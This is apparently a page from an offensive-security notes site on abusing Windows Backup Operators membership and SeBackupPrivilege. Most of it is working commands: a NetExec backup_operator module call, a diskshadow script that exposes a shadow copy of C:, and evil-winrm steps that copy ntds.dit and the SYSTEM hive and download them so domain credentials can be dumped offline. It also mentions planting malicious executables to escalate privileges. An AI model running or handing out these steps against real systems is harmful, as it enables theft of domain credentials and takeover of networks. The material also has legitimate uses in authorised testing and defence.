Backup Operators
Information
Backup Operators can back up and restore all files on a computer, including OS files, regardless of the permissions that protect those files. Because members of this group can replace files on DCs, they're considered service administrators.
Well known SID/RID:
S-1-5-32-551.
Allows us to create backups of any files, whilst not restoring their permissions, which equals to arbitrary read access.
Allows us to overwrite legitimate executable files with versions that include malicious software used for privilege escalation.
Exploitation
Check SeBackup.
If the controlled user has the SeBackupPrivilege, it can dump SAM, SYSTEM, SECURITY and therefore the NTDS.dit on the target system. No admin privs needed!
nxc smb <target-ip> -u <user> -p <pass> -M backup_operatorCreate a diskshadow script from the attack host to expose the c: drive:
$ cat diskshadow_script
set context persistent nowriters
add volume c: alias random
create
expose %random% z:
# Convert file into a Windows-compatible format
$ flip -m diskshadow_script
$ sudo unix2dos diskshadow_script # deprecatedTransfer the script to the target host and execute the following steps. In the example below, evil-winrm is used to transfer the files between the attack and the target host, via its upload and download methods:
# Move within a writeable directory
cd c:\windows\temp
# Upload the diskshadow script
upload diskshadow_script
# Expose the shadow copy
diskshadow /s diskshadow_script
# Copy the ntds.dit database
robocopy /b z:\windows\ntds . ntds.dit
# Copy the system.hive file
reg save hklm\system c:\windows\temp\system.hive
# Download both files
download ntds.dit
download system.hiveDump the ntds.dit from the attack host:
For an example of the above method check here.
Download the SeBackupPrivilegeUtils.dll and SeBackupPrivilegeCmdLets.dll from here on the attack host and transfer them to the target along with the diskshadow script found on the previous tab (on the example below evil-winrm is used):
Unlike Method 1, the Copy-FileSebackupPrivilege cmdlet (part of the DLL files) is used to copy the ntds.dit file from the z: volume to the Temp directory:
Dump the ntds.dit from the attack host:
Last updated
Was this helpful?